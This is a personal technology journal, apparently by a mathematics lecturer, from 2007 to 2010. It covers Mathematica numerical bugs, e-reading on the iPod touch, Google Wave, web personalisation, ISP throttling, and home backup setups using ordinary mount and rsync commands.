nice to have a library available all the time, to be able to search for keywords in all of my electronic books at the same time. I will have to find out how that works on the iPad (just ordered), a device which I aim to use primarily as a reference device and will hopefully complement the ipod touch or the desktop computer which are both deficient for reading mathematical texts and papers comfortably.
25-02-2010: I tried out for Scholars for 15 minutes. It is quite well done. Faster than iSites and intuitive. As with all CMS, the question is, how long this will be supported. For quick projects and collaborations, this is a nice option.
28-01-2010: The Mathematica N[] function not only has problems with large algebraic numbers, it also does funny things with Logarithms. Try this with Mathematica 7:
N[Log[Abs[Pi^60-E^55 -674515394754870253998413140641]]]
Even so the argument given to the logarithm is positive, the result gives an additional I Pi as if it the inner part would be negative. This outcome does not depend on precision. One could increase also $MaxExtraPrecision. To solve the problem, give a second argument to N[]. The function N[] seems defective only, if no second argument is given. N[Log[Abs[Pi^60-E^55 -674515394754870253998413140641]],30] By the way, I saw this when horsing around to see how one would detect algebraic relations between transcendental real numbers like Pi and E. Nobody knows of course, whether such relations exist. Experiments indicate that Pi^n + E^m mod 1 does not behave differently than x^n+y^m mod 1 would do for random x,y. But who knows whether Pi^n+E^m can be rational. It would be very,very funny although. 08-01-2010: There is much discussion about the upcoming Apple tablet and also uncertainty whether it will be a success. I think, a well done apple tablet has a chance in education: 1. Presentations: I want to write on my keynote slides directly during the presentation and not have to use an additional wacom tablet, which only works unreliably and especially does not work for OS X. I would like to test my presentation on my own device. Having keynote and powerpoint integrated well in a tablet opens a lot of new possibilities for teaching with slides. Apple seems to work on iWork for tablets since years. 2. Technical texts: reading books and technical papers on PC's is painful. Not because of the format, but because the interface is terrible. Apple could change the game here. Having a small tablet which contains my ever growing electronic math library would be fantastic. Reading texts on the iphone works already surprisingly good and even so the processors are tiny in comparison to the power of a PC, things go smoother there. PDF and DjVu software is still not well done on desktop computers and part of it is that one can not interact well with it. Scrolling can be a very slow (fractions of seconds are already annoying). Zooming forth and back frustratingly cumbersome. The ipod touch with an incredibly small CPU and where things work often better than on the PC shows what could be possible. 3. Textbooks for students: Textbooks are so expensive that buying the textbook for one semester can cost more than a PC. Making good electronic versions available and carrying around heavy textbooks will soon be a thing from the past. Of course, the publishers will distribute textbooks in electronic form in the future, but only heavily armed with DRM. I wonder how this transition will work given the fact that most textbooks (and homework solutions!) can be downloaded easily in electronic form. But this is an other battle. The prospect to have a high quality reader not larger than a sheet of paper and 10 times lighter than a typical calculus textbook is wonderful. [Nobody knows why text books have increased in size so much, compare!] 4. Taking notes Additionally, one could use the same tablet to take notes or even do the homework in writing. This is tricky, as everybody knows who has signed electronically for a package or creditcard receipt. Capturing handwriting on screen, so that it looks as if it were written with a pen on paper is difficult. I don't expect this to be solved soon, but it would be nice if screens would behave like paper, when writing on them. The trick is to get the right amount of friction and have precise pressure sensitivity. 06-01-2010: Some nostalgia about a Science Center Povray file written in 2000. 04-01-2010: An apple animation motivated by the current Google theme on their website. The new javascript code has about the same length and is readable. I had tried for an hour to read their code, then given up and started from scratch and finished in less than one hour. (I had been quite excited of javascript programming over a decade ago.) For small things like this, it is typically faster to start with a "tabula rasa", rather than trying the read optimized code. [Update: January 5: the apple rolls now also!] 29-12-2009: A nasty symbol microsoft – breaks copy-paste from the bowswer to a terminal in OSX. If only one of these buggers appears in a text, copy past of the entire text is impossible in OS X. In the Linux xterm, there is no problem. On the road with only OS X available, I can bypass things using "lynx -dump" and run it through the demoronizer. 27-12-2009: One of the reasons to be reluctant to invest time in closed-source technology - both operating systems and software - (for the no more so young ones like me) is that there is hardly time to "reboot". I rebooted several times in my life both with software and operating systems and want to minimize this in future. For software, there had been cases, which disappeared, not because something else would replace it but because a company would pull the trigger on the software strategically. Examples were Adobe's "streamline" to create vector graphics or early programs to build 3D objects from photographs. 3D modelling programs especially can have a short life span. I keep using Povray, Latex, GNU tools, linux because I can be sure that they will exist in 20 years and do not depend on a coorporate decision to shelf the product or modify it. There are exceptions. One are computer algebra system, where the commercial programs are so vastly superior (in an educational setup) that there is no alternative. "Sage" has chances to get into the field but it is still too complicated to use. Plotting a parametric or implicit surface, a vector field, do some linear algebra computation should not take more than one line of code and not more than 2 steps (1. Step start up the program, 2. Step, run a short one line command without additional libraries). Also the installation of the software should be simple on any platform. An other example is quicktime on apple. There is nothing like this in open source, where one can edit a movie in couple of seconds and import and export in virtually any format. 22-12-2009: As much as I dislike word processors like "Word", the successful patent fight of the company i4i illustrates that there are worse things than "difficult to learn" and "proprietary" text processors: software patents which prohibit such software to evolve and become better. A patent for a parser could produce also headaches for other companies using XML. Software patents which cover basic string processing functionality are in essence patents for mathematical structures or functors and should never have been granted. 13-12-2009: An interesting idea is to take a translator T from English to Japanese, a translator S from Japanese to English and iterate S*T on the set of all sentences. This website does that. Some experimentation with equilibria Sentence Equilibrium the cup is empty W cup is empty the kid sings in the rain The children sing in the rain start with an english phrase English phrase begins with How are you doing How do Find equilibrium finding balance Ahhh it burns Wow it burns AHHH IT BURNS It is a great grill This computer stinks Small this computer give Me a beer [attracted by period 2 attractor shows that the map S*T contracts in general and in general getets attracted by a fixed point. What is the largest periodic orbit, one can get? The largest period, we got when playing around at home in our family was a period 4 loop with a spam mail sentence: "How large is your p...." For larger paragraphs, the dynamics is more interesting. Ben Knill tried:  Input After a few dozen iterations With the president estimating that the buildup will cost$ 30 billion, Mr. Obey is proposing a "war surtax." The idea is unlikely to pass, but it is already reminding the nation of the high cost of an increasingly unpopular war. At the White House, officials are bracing for the president's first real battle with fellow Democrats. Billion yen, his good war "cumulative cost estimate is about 100 years AD 3000, I said," I do not recommend it is said that it is said. Iraq Temasumasu Aidearopasu, in my country is associated with an expensive war. The first real battle of the White House and members of the Presidential Secretariat will provide a co-worker.

This dynamical system of bi-translation looks quite interesting by itself. But it is not only a game: A good translation system should have the property that translating into various languages and back should always produce fixed points or periodic points close to the initial sentence.
12-12-2009: Some newer google earth experiments on a 27 inch iMac. Its nice to be able to make large screenshots now. But its easy to get to the limits too. Recording the flights in real time with larger screens also pushes the hardware more. Google earth improved tremendously near Cambridge and Boston.
08-12-2009: Personalized search on google is here by default even if the user is not logged in. It still uses cookies and can be turned off. It shows however the trend that what we find when searching will more and more depend on who we are and where we live and what is known about us. Search becomes less objective. It is no more possible to tell to "search for 'e'" and feel lucky, because some users might end up at gossip and celebrity news and others at the mathematical constant.
04-12-2009: A post on Slashdot is more pessimistic about where the web goes: 1: the possibility to filter have grown: 2: firewalls like the one in China have become more sophisticated and more difficult to bypass, 3: the centralization has increased: less and less companies control more and more of the web, 4: the loss of internet culture has rendered the web a "blackbox" for most users. A non-free web is closer than ever because we can be pushed around without even noticing. For me, a nightmare scenario is that news content on the web is not only platform-, time- and location based, but that it is personalized: cable networks would distribute content which depends on where you live, what your contacts are, what they know about you. Conservative users or liberal users get served different content - and would even be happy about it. It already happens. CNN in Europe and in the USA have not only different content, but also different political views. Its hard to reach CNN.com from Europe or google.com from Switzerland. You are always redirected, whether you want it or not. On smart phones, users get redirected to dis-functional pages without being able to change that. It used to be that such things could be changed (i.e. change the agent name in your browser). Soon, it is no more possible to know which knowledge is objective and which is time and space independent knowledge. Very soon, we could be fed what content providers think, we want to be fed.
03-12-2009: Cashmore's list of hot trends. I mostly agree, but would bundle it differently and have 5 main hot spots: real time fueled by Twitter, Facebook, online games, google wave, localization fueled by GPS, maps, navigators, location and platform based content, data organization and aggregation by cloud and archives, media shifts like TV to web, web to phone, email to wave, web economy like micro payments or not, legal battles like content filters, privacy of data, copy rights, centralization of the web.
18-11-2009: I had been asked how Harvard might use technology as a tool in the future: here were my thoughts: Harvard is already a great place for technology in education, I had access to grants, we have site licences for expensive software like Mathematica. Three points which are important for me: 1. Culture: avoid business like temptations like HTML only email, outsourcing IT or make it dependent on non free standards like exchange. Loss of culture is also accelerated by content management systems, which can become uniform and boring. 2. Archive: social media etc are great, but with rapidly changing media, content gets lost. Fortunately, the Harvard Archive makes some heroic efforts to preserve as much as possible in a faster, database driven and gated online community. 3. Open up: CMS lead to more and more educational material disappears behind password protected walls. We all benefit from content and wisdom around us, content provided by other teachers for example, why not share it back by default.
28-10-2009: From Server culture to Desktop culture and finally to Smartphone culture. The transition from large unix servers to desktops was a similar transition than the transition from desktops to smart phones. As then, it changed the culture. Before the "desktop time", everybody knew the basics, this changed and the number of users knowing dropped. The transition from desktops to smart phones and web applications is similar. The average user knows even less. 1. More responsibility is taken away from the user. Backups for example had been the responsibility of the user. Then it became the responsibility of the company or department and it soon appears to become the responsibility of a large company. 2. The user needs to know less. While in the early email years, everybody had to know the basics of mime and data compression simply to be able to read material sent to them, the desktop time changed that. But still, the user often had to use do to the right choice in order to do stuff. In the smart phone time with web applications, users do not have to know about file formats like image, movie or sound formats any more. It just works. 3. More layers have been added. In the early web time, everybody wrote pages by hand. Even postscript graphics was written from scratch. The desktop culture changed that and programs like Dreamwaver replaced handwriting text. In the smart phone time, content management systems have replaced this. The extreme case are services like Twitter. The number of users, who know the protocols involved in making this possible has become even smaller. Apropos: the page you just read is authored much faster than any CMS could do:I edit a textfile and run "make" to have "perl" and unix do the rest. A post is done in the same time as it takes for typical online content management system only to validated the password and finally render the page. Not to speak about the crappy browser editors, which each behave differently.
27-10-2009: Once upon a time, when Microsoft had no email clients yet and atrocities like "exchange" were not yet even been dreamed of, everybody using email was also fluent in Unix. Instant messaging was done with "talk". "Talk" still works today and builds instant connection from one user of a Unix machine to the other. We used it a lot, for example, when my wife as a postdoc in Amsterdam and I a graduate student in Zürich. Most in academia had "talk" enabled and could be reached like this on the command line, It soon disappeared and was replaced by instant messaging and now by social networks and text messaging on smart phones. Email remained and I still use the same program like 20 years ago: mail or pine. Beats the hell out of every email client I know, even so the iphone comes pretty close. Most heavy email clients (even on Unix) have not even initiated, when email has already been read with the good old "mail" program in Unix. By the way: also "talk" is unchallenged in its simplicity. If the email address is known, one could just type "talk name@address" and off you were chatting. No additional account nor any external company like google or yahoo or apple or skype was needed as a mediator, who could pull the switch at any time. What killed "talk"? Not any new technology or feature. It was social: a typical user could just not afford any more to get interrupted while trying to do some work and most turned the feature off.
23-10-2009: What are the main obstacles to read books electronically in particular for mathematics and scientific texts? A major problem is the slowness of flipping through pages. PDF can be sluggish in this respect. Djvu is much better, but still is too slow. Even for text only. The ebook readers or even the Stanza or Kindle programs on the ipod is too slow for scanning fast through pages. PDF really can become a molasse if graphics is generated with computer algebra systems like Mathematica. Even for small documents like this exam, it had been necessary to generate much of the graphics in raster image form, and then convert it to postscript, because the vector graphics versions would be so huge that a printer would need a half an hour to print it and the page could not be read comfortably enough with Acrobat. [ Update: mathematica 8 is not better in this respect. I stopped almost entirely to generate postscript files for handouts, and render rastered pictures, convert them by hand to postscript. ]
18-10-2009: I read more books. The reason is that the Ipod turned out to be a fantastic way to "micro read" here a few pages and there a few. Especially also, since Stanza allows an immediate production of ebooks from PDFs. Even so my electronic library grows at a tremendous rate, I also buy more actual books than ever. Reasonably prized books have appeared. Similarly as with music, the electronic competition brings down book prizes into a reasonable range. Recently, a few articles on ebooks appeared: the Washington post addresses the transition to ebooks in schools, the New York Times mentions piracy, and Spiegel mentions the situation in Germany, where the transiton to ebooks goes slower. The development can not be stopped. I'm convinced that soon, 100 dollar books will be a thing from the past. Here is a book, I recently bought and which I would not want to miss in real form: the book of Conway, Burgiel and Goodman-Strauss "the symmetries of Things". An other nice book is "the Math book" by Clifford Pickover. The later has over 500 pages with nicely colored pictures and was prized less than 30 dollars. Both books use illustration which are formidable: instead of a dry encyclopedia, a nice picture illustrates. Each article is kept short. This slapstick style is taken from the web. Here is neglected example of my own, which I use also for exhibits like here. True, it can look cheap, but a short page can motivate and inspire often more than a few hundred pages of axiomatic intimidation.
02-10-2009: I watched finally a larger part of the google demonstration of "google wave". It contains impressive technology like "syntax aware error checking". The claim that it might one day replace email looks however unlikely to me. The major turn-off for a corporation, a group or for education could be its "big brother aspect" which also killed things like online homework. Any interaction or collaboration can be tracked in details. The "wave" can be played back like a chess game. In a collaboration project, it allows to monitor not only the amount of contribution but also the time spent which an individuum spent on what. Even when writing a draft of a sentence, this editing steps are transmitted. Sometimes, it is not the technology, but other aspects which prohibit new technology to replace an old one:
• Video-phone technology is long ready but did not replace traditional phones because nobody wants all the time to be visible. Even with a "bad hair day" or in the bath room, one can still make a phone call. Personal and privacy reasons have stopped video phone calls to become main stream and most calls on skype don't use video.
• Instant messaging did not replace email. Not because it would technically be superior to email, but because of its "instant feature". Sometimes, one has to work on something without being interrupted. It is not the technology, but the work-hygiene which prevented instant messaging from replacing the older technology.
• Wikis and blogs have not replaced traditional websites. While a well moderated wikis can become a success like Wikipedia, most unmoderated Wikis are a disaster after a short time. They become a spaghetti-link-soup, where every forth word is a link. Traditionally designed websites with logic, priorities and focus have not been replaced by the newer publication formats.
With the demonstrated google wave technology, interaction in a group can become stressful or lead to waste of time. Maybe one group member thinks more thoroughly, before writing something, maybe that person types slowly. With email or traditional sequential editing, such a person can work well. In the "wave", where every interaction becomes a "meeting place", things can become hectic or uncontrollable. Every interaction becomes a "meeting" and one knows how terribly unfocused meetings can become. There are now even explanations for this. In an educational setup, one could imagine the "wave" to be used for on-line office hours etc, where things can be explained on virtual blackboards, movies etc. But do students really want to have every of their questions or mistakes recorded for all eternity and possibly used for grades? Can one moderate such a group dynamics as well as a real meeting? The new technology looks attractive also for a research environment, where a group can work together on some research. But do creative people really want to have every of their "ideas" tracked by a third party [primarily google] and in the end have a quantifiable break-down, who contributed how much for a paper? Does research in a competitive field allow even a third party to have access to the research process? The new technology will have its use - no doubt - but it will not replace email. And the main reason is social, not technological.
28-09-2009: The The Harvard Modem Pool will end at the end of the month. Surprising to read that in average, still 2 users per day used it. In 2000 I still had connected too to this, typically several times per day.
25-09-2009: The iSites course emailer seems since this fall only allow sending HTML emails. There are many reasons for avoiding HTML in email: accessiblity, archiving, privacy, spam filters, text only mail readers, or simply taste. I hope this will be get changed back soon.
17-09-2009:
The following problem took me a half a day to lock down. It appeared in a rather complex C program tracking features in movies. Fortunately, I have kept versions after each stage and saw where the problem first appeared. The error only appears with optimization: While Linux (Ubuntu) or Solaris or OS X (Leopard) has no problems, there is a problem in Snow Leopard. With example.c
gcc -O4 example.c; ./a.out *** [2] Abort trap
The -O4 flag has to be changed to -O2 and then things work fine.
29-08-2009: I got Snow Leopard. I'm disappointed with the new Quicktime which is no match to Quicktime 7 Pro: 1) One can no more edit movies with the new Quicktime player, only do a rudimentary trimming. Cutting and pasting especially is not possible any more. 2) Exporting into different formats is rudimentary. It is even worse than the non Pro version of Quicktime 7. It is not even possible to export sound or individual frames, or various formats. 3) The trimming feature looks nifty but is only useful if a single interval in the movie time line needs to be selected. Even basic copy paste of time lines or adding a new movie frame is disabled. 4) While one can still install Quicktime 7, but it is not possible to change the default launch of ".mov" files with QT 7. The OS insists that these files are opened with the new Quicktime. (Update September 21, 2009: this seems fixed now). 5) Export from Keynote to Quicktime often does not work. Beside QT, the upgrade produced a scan snap 1500 scanner by Fujitsu and Parallels desktop 3 stopped working after the upgrade. I got very good support from Fujitsu and I can use it. For parallels, I had to upgrade.
19-08-2009: Unix is 40 years old. A short article on its beginnings are given in the Spiegel.
17-08-2009: The perils of automatic redirection to mobile pages are even more evident while traveling. In Israel, when accessing CNN with my iPod, I get redirected to the mobile page which gets adapted to location (which for some reason finds, that I'm in Moscow) and the service is not available.
10-06-2009: Cat scan. A visual guide.
16-05-2009: Wolfram alpha is now online. Still goes off-line under big load. I wonder if it will work out for Wolfram, since it replaces quite a bit the need to Use Mathematica. I think it is nicely done. It does things better than our "Sofia experiment" from 2003. It will have severe consequences also for online tests since it is now possible to get even more Mathematical answers directly from the URL. Like the following Example of eigenvalue computation. It is silly to compare "Wolfram beta" with google. The Wolfram interface to Mathematica is an additional tool which makes use of computer algebra systems and expert data miners which massage the data for their own databases. The user might want to go to the sources for reliability purposes. Mathematica is also a "black box". We can not independently verify even that the mathematics is done correctly. We have to believe that the programmers have done things correctly.
12-05-2009: I tried the first time the Wacom tablet for presentation. Unfortunately, Apple's Keynote does not allow writing on slides yet (presentations are ok and one can use the pen to move the slides). Currently it is still necessary to export the nice keynote slides to Powerpoint, which has limitations and screws some things up. Powerpoint is neglected on the mac platform. Many things do not work, movies do occasionally not play. Using the powerpoint on windows does even not show all pictures. I can not wait, until Keynote is updated to allow writing on slides, possibly with color and allowing more configuration like allowing to change the pen thickness.
02-05-2009: Slate asks whether google just added a Facebook killer to its services. It is still quite primitive but it has potential, especially because users do not have to worry so much whether the service will be available in a few years. Google has enough momentum to pull a social networking site through difficult economic times. Google's profiles have no real social networking capabilities yet but this might be added for users who want.
27-04-2009: Amazon acquires Stanza. I hope not to annihilate it.
21-04-2009:

 I tried out O3D for the mac and it looks as if could have a lot of potential, maybe for teaching. It is still pretty slow on my Mac Mini. Here are some snapshots filmed from the screen and slightly accelerated. Background music: Vangelis: Conquest of Paradise. Apropos paradise: the O3D Beach demo ran so painfully slow that I only could watch the demo Examples tried out on a mac Mini.
01-04-2009: While late, Google has finally jumped onto the bandwagon too and entered the cognitive autoheuristic distributed intelligence entity ...! More seriously, it is a smart move to ridicule any AI competition on April first because AI is what google is all about.
08-03-2009: I'm looking forward to try out wolfram alpha. We had a similar project "Sofia" which used Mathematica and other programming languages in the hood. Mathematica has changed since and it is no more possible to use it so easily as an interface to other tools (processing restrictions have become more severe and worse, a graphical user interface is needed to do most of the processing).
04-03-2009: I tried to read a math book using the kindle appfor the ipod touch. It does a surprisingly good job, but it can not deal with formulas which are too long. They become unreadable on the touch. Its probably ok on the kindle itself. Much of the text is readable. Graphics, which appears in the real book does not appear, on the touch. Math text books certainly have to be rewritten and reformatted cleverly to be consumed on a touch.
03-03-2009: Finally, at least in Germany, E-voting has got what it deserves: a ban. Interesting that not primarily the software but the hardware is considered the weak link. How long until also on an educational level, electronic evaluations and tests will be back on paper? Currently the trend is different: after teacher evaluations, also placement test have or will go online at many institutions. The reason are costs of course: papers or ballots need to be printed, rooms rented, proctoring and even more grading or counting time used. But the danger of manipulation or abuse suffers when doing it the electronic way: both for political decisions as for student and teacher evaluations. In the educational setup, placement, advising, evaluation and testing is as crucial as voting in the political setup.
25-02-2009: A Crimson article of Laura Schaffer coins the term "FYI to TMI" and illustrates it with this website. Amazing is that already hours after the appearance of the article, a googling of "FYI to TMI" hits this article. It must have hit a nerve on the dilemma, how much personal information should be shared, how personal teaching should become.
10-02-2009: Since over a half a year, I'm reading books on my ipod with "classics". While "classics" is done beautifully, "stanza" is more flexible and allows to build your own book collection. The touch is a wonderful e-reader. Amazon feels the heat. While the kindle is nice, it is obviously not as portable as the ipod nor does it double as tool which does most daily computing tasks (email, surf, calendar). Apple was right not to build a separate e-book reader. The ipod works very well, at least for for text-only books. Reading PDF's is even faster than the acrobat hog on the desktop. I would like to see an e-book application which allows to read complicated PDF like Math books with the same ease than "classics" or "stanza". PDFs would certainly have to be split and reformatted so that it can be read comfortably on the ipod. But there would be market for Math books and especially textbooks produced for the ipod.
22-01-2009: An article in the German Spiegel mentions the trojan "OSX.Trojan.iServices" hidden in pirated iWork09 downloads. No operating system will ever be safe from such attacks and the victims definitely deserve to be laughed at. If you download a program and install it, you have to trust its source. This is completely different than attacks which spread automatically like "conficker". On iWork: as previous iWork versions, I had ordered it hours after announced. There are not many changes, but it is definitely more polished. I have presented with new Keynote version already and it worked well. "Keynote" has additional transitions and themes and allows to tweak charts better. "Pages" has improved some page layout issues and "Numbers" has become more intuitive. And iWork does no more need a registration key.
25-12-2008: Tried out Mathematica 7. There are some nice things: for calculus StreamPlot[{x^2+y^2-x,1+x-y^2},{x,-2,2},{y,-2,2}] comes handy. I like that anything can be spoken like S=Import["http://www.cnn.com"]; Speak[S] I like the inclusion of weather data, like WeatherData["KBOS","MeanTemperature",{{1950},{2008},"Year"}] which gives the average year temperatures of Boston. And of course the new image manipulation stuff like S=Import["http://www.math.harvard.edu/~knill/oliver/oliver9.jpg"];Manipulate[Dilation[S,r],{r,0,10}]. But there are also problems: I don't mind that sound recording is not supported yet in OSX. More serious is that the problems with N[] is still flawed. Really serious is that exporting of graphics still needs a graphics front end: if you log out of your machine and run Mathematica kernel /Applications/Mathematica.app/Contents/MacOS/MathKernel directly, then Export["s.ps",Plot[Sin[x],{x,0,2}],"EPS"] leads to an error message. This (as well as CPU restrictions) keeps Mathematica 7 (and 6) unfit for scientific computing, where remote computations on a machine should not need being logged in. For now, we have to Save["s.m",Plot[Sin[x],{x,0,2}]] and render the graphics, when logged in. There is no technical reason why exporting Postscript should need a frontend. This limitation of Mathematica 6/7 alone annihilates all nice new features introduced since Mathematica 5.
24-12-2008:
 I made new experiments with the flight simulator in google earth. This provides me with good benchmark, how technology improves. Both on the side of the content providers as well as on the hardware side. I don't think, the movies could have been done with my old mac mini with which I recorded previous movies in 2006. For the 4 following movies, even with 4 gig of RAM, the machine had been pushed to its limit when flying through the 3D towns and recording Megapixel movie frames in real time. I can not wait to compare, how this will look like in 2 years. To the right, you see one movie of Cambridge. More flights show Zuerich, New York and Boston.
17-12-2008: A A nice Google maps racing game in javascript..
13-12-2008:
 Cats love to watch online videos: our neighbor's cat Miro's favorate is the youtube video of "Snowball", the dancing cockatoo. Its not only the audio, also the visual movie turns the cat on. Miro even realizes that sound and image do not come from the same place. Miro suspects the online video to be real but is smart enough to realize that it is not. I would not have expected such sophistication. Miro had also first been confused about mirror images of himself and thought it was a different cat. He learned and now knows that the mirror image is "himself". The cat has become self aware. "Miro"s video is also available on Youtube. Now lets have the parrot "Snowball" watch the video of its "cat fan" and see what happens ... Something for Douglas Hofstadter.
13-12-2008: Despite many years of poor record on the reliability and security of electronic voting machines, there were again incident during the last Presidental elections. This time the machine just failed to tabulate some votes. When will be universally realized that all voting (and an academic setup student testing and teacher evaluations) should have a paper trail?
12-12-2009: The new HUID is a RFID card of type iCLASS. It communicates using 13.56 MHz radio: the reader sends a 32 bit challenge, which the card completes and verifies with its own 32 bit. The card serial number is a 64 bit key which is unique for each card. The type of encryption is not clear. Documentation talks about a complex mathematical process. A modified algorithm seems have been used for Harvard to prevent abuse from "off the shelf readers" preventing somebody with a iCLASS reader to collect data on the street. If a Harvard card reader should get stolen, the keys would be replaced. To prevent re-engineering, the CSN is randomized so that the key is never transmitted in the clear. Additional data on the card (Crimson cash?) is additionally encrypted using DES and not accessible wirelessly. Since RFID technology has not yet a good track record, I would be more comfortable, if cards would have a RFID on/off switch. [ update Feb 2: an other reason why. ]
5-12-2008: A NYT article starts with the sentence Internet security is broken, and nobody seems to know quite how to fix it. This is not true. There is a fix which works today: simply switch to an other operating system. The article mentions "but researchers expect Apple machines to become a larger target as their market share grows". While this might be true, it is misleading: being a "target" is a different thing than being a "victim". And what "if": there are other operating systems which allow to do everything too. Not only natively, but also by virtualization and emulation. One can understand that home users and businesses are slow to change but it's hard to understand why military networks remain vulnerable due to a poor operating system choice.
4-12-2008: I should have tried it earlier, but adding an external 1TByte eSATA harddrive to one of linux boxes made me a believer in eSATA. As expected, things work as if the addition just were an internal hard drive. Pair a 99 dollar 1TB Seagate drive docked to a Vantec NexStar HD Dock from Tiger direct: its amazing how cheap fast and reliable external backup has become. Transfer speeds blow away firewire, not to talk about crappy USB. Firewire is still nice for portable drives without external power and because of its daisy chainability. Too bad, it is still difficult on Apple hardware to add eSATA drives. Apple should make time capsules, MacMinis and IMacs eSATA capable. My own timecapsule at home doubles its capacity with an external USB 1TB Western Digital drive which would be eSATA capable.
24-11-2008: A new disease on the web is that websites start redirecting mobile devices directly to mobile editions without giving the option to use the real edition. I don't want untested, crappy mobile editions, I want the real edition, where I know to find things and where things work. CNN for example has started a few days ago with this nonsense and forces my Ipod touch to the mobile edition. Google at least allows to get back to the standard edition. The best solution to bypass this terror would be that Safari on the "touch" could allow to define the User agent like Safari on the Mac, where checking the developer box in Preferences/Advanced enables this feature. By the way: I'm convinced that tempering with user preferences is just the beginning. Soon, we will get news written and biased according where we live (more conservative in the south, more liberal in coast areas). What the reader sees, becomes relative. Already now, searches on Google depend on the country we live in, very soon, we will have search results depend on our search history, our profile, on where we are and what computer we use. It will come because it will be more efficient for example to target users with Safari user agents with "Vista adds" and users with IE agents with "I'm mac and I'm a PC" adds. Once this is done, its no problem to temper also with the news.
19-11-2008: Mathematica has a new version. I did not try it out, but it looks as if it moves more and more to a universal mathematical content, knowledge and visualization tool. What I do not understand is the jump from 6 to 7 without intermediate versions as before. As far as one see, the changes from 6 to 7 are not big. The change to 6 was justified, this had been a huge leap. I can not wait to try version 7 out, especially the image processing capabilities, which had been a bit painful in the past. Until now, one had to dissect an image object into components, manipulate them seperately and then put them together again. example. The same with Midi data.
05-11-2008: I'm getting more and more dependent of applications like DataCase or air sharing which allows me to use the touch as a "ebook" or paper database. I can have my notes, papers, pooks with me all the time. In each case, the touch is a file server. Having the touch mounted wirelessly on a mac allows syncing files with the Unix command "rsync". Things work from any unix type system like linux: mount the touch with
sudo mount.davfs http://touch:8080 /mnt/touch
providing that davfs is installed (install it in linux with sudo apt-get install davfs2) and where "touch" is the hostname of the touch on the wireless network. For a Unix person like me, it is fantastic to sync entire directory trees onto the touch. The unix directory tree is still my preferred way to organize data.
04-11-2008: Election night. CNN has live video from the Obama and McCain head quarters. Shortly after 10 PM - it's getting more and more interesting - they decide to make an upgrade of their flash content delivery. The user has to upgrade the flash player. It would have been hard to find a better time for that. But the upgrade has a good side. It had been for many months that Linux users were excluded from Live Video at CNN. Now, CNN Live video works on my linux boxes. CNN had been one of the last places, where Linux had been discriminated.
03-11-2008: Apparently, I work so hard, that my network activity is considered malicious by Harvard networking ... I got today the following email from the FAS help desk, after complaining that I could no more reach FAS sites (see below):

 "The ip address of your home network's router was being blocked at the FAS border router due to thousands of connections being made from this source. We have unblocked the IP address access to the FAS Network. If you would like, I can send along the information that we were working from in order to ascertain this was a problem."

 I wonder, how many IP addresses are blocked like this. University networks have to be protected, but not like this
31-10-2008: ("Cut": Photo by Kyla Horn, after my 'Halloween lecture', on Friday, October 31, 2008 in SciCenter 222.) Since new Switches were installed at the Harvard Science center, the FAS network (IP addresses 140.247.*.*) is unreachable for me from home IP address which starts with 96.233.*.*). Technicians at Verizon have verified that it is not their problem (nor is it a router or firewall problem at my home). Since Wednesday, the 29'th, I know, how it is like to live in a country, where access to certain pages is forbidden: proxy servers have become my friend as well as hosts of websites I own and through which I can sync content from home to my office and back. It is certainly a silly mistake in some firewall rule, but its frightening to see how easily it is possible to be switched off. Its like being killed by a knife (got me the idea for my Halloween costume).
16-10-2008: I'm happy with the new new MacBook. The graphics performance boost is noticeable, the screen and keyboard are nice. I often record video from the screen. With my old Macbook, while recording large windows, the video could be shaky. Now things work great, also with larger frame rates.
28-9-2008: Got Verizon FiOS installed this morning. The initial impression is very good. I have still Comcast too and can compare with speedtest: Comcast (I pay enhanced upload speed and pay 60 dollars per month): 8035 kb/s (download), 2637 kb/s (upload) FiOS 19891 kb/s (download) 4579 kb/s (upload). This is twice the speed and 15 dollars less per month. This is a typical result. Sometimes, the upload speed is over 20 megabits per second, and can be up to 3 times faster than Comcast.
Lets see now how reliable FiOS is.
24-9-2008: Comcast throttles my upload speed (rsync). I measure 6-8 Mbit/sec download and 13-80 kbit/sec, upload speed. Yes, that is right: for upload, a modem connection is faster! It seems that upload speed is first 300kB/sec, and then it is throttled back. This is so severe that I can no more work from home (syncing content from office to home). Its time to switch to Verizon FiOS. Comcast's interference with Internet traffic was troubling already, but these throttling measures forced me through these switching hassles.
22-9-2008: Wolfram finally stopped claiming the erratic N[] behavior on algebraic integers is a "feature" or due to "rounding errors" and hints that it will probably be fixed in a future version of Mathematica. For now, its just important not to use N[] without a second argument, when dealing with large algebraic numbers. Email exchange.
18-9-2008: I argued with Wolfram research support about a severe platform independent bug (or limitation) of the N[] function of Mathematica. The function N[] has problems with transforming exact algebraic numbers to numerical numbers. Here is an example
N[Sqrt[2^117 + 1]] - N[Sqrt[2^117 + 1], 100]
The result is -64. The behavior of N[] is quite random:
Table[N[Sqrt[2^k + 1]] - N[Sqrt[2^k + 1], 1000], {k, 1, 120}]
Here is an interesting mathematical inverse problem: what is the sequence of k, for which sqrt(2^117+k) is completely off?
u=Union[Table[k (-1/64) (N[Sqrt[2^117 + k]]-N[Sqrt[2^117+k],100]),{k,1000}]]
It is easy to bypass the problem by just avoiding N[] and giving a second argument. In comparison, Maple projects algebraic numbers correctly into machine precision numbers:
evalf(sqrt(2^117 + 1))
Its disappointing that Wolfram research do not acknowledge the behavior of N[] a problem. There is no mathematical reason, why N[] should behave in that erratic way. It can become a real problem, when doing experiments.
20-3-2008: I got a 1 Gig time capsule from apple. It did not work at first, but after an upgrade of Airport utility and a firmware upgrade of the time capsule itself, there are no problems. I even backup from linux onto it: the time capsule is mounted wirelessly on a mac mini, the linux machine backs up onto that mounted drive with rsync.
20-1-2007: After an installation of x11rec in Ubuntu, the Xorg server did not work anymore. changing "nvidia" to "nv" in /etc/X11/xorg would allow me a low resolution server. I decided to start from scratch and indeed, all the problems were gone. The cairo library problems, which had produced all this mayhem are now resolved and the machine works great.
12-21-2007: Flash is unfortunately still the only reliable way to deliver video on the web. The plugins are available on all operating systems. The newer CS3 flash program seems unable to export movies to be seen in flash 6 plugins. When exporting the movie, a dialog "WARNING: This movie uses features that are not supported in the Flash 6 player Scene=Scene 1, layer=Layer 1, frame=1:VP6 Codec requires Flash Player 8 or higher". Fortunately, the Flash 8 plugin works now reliably also in linux.
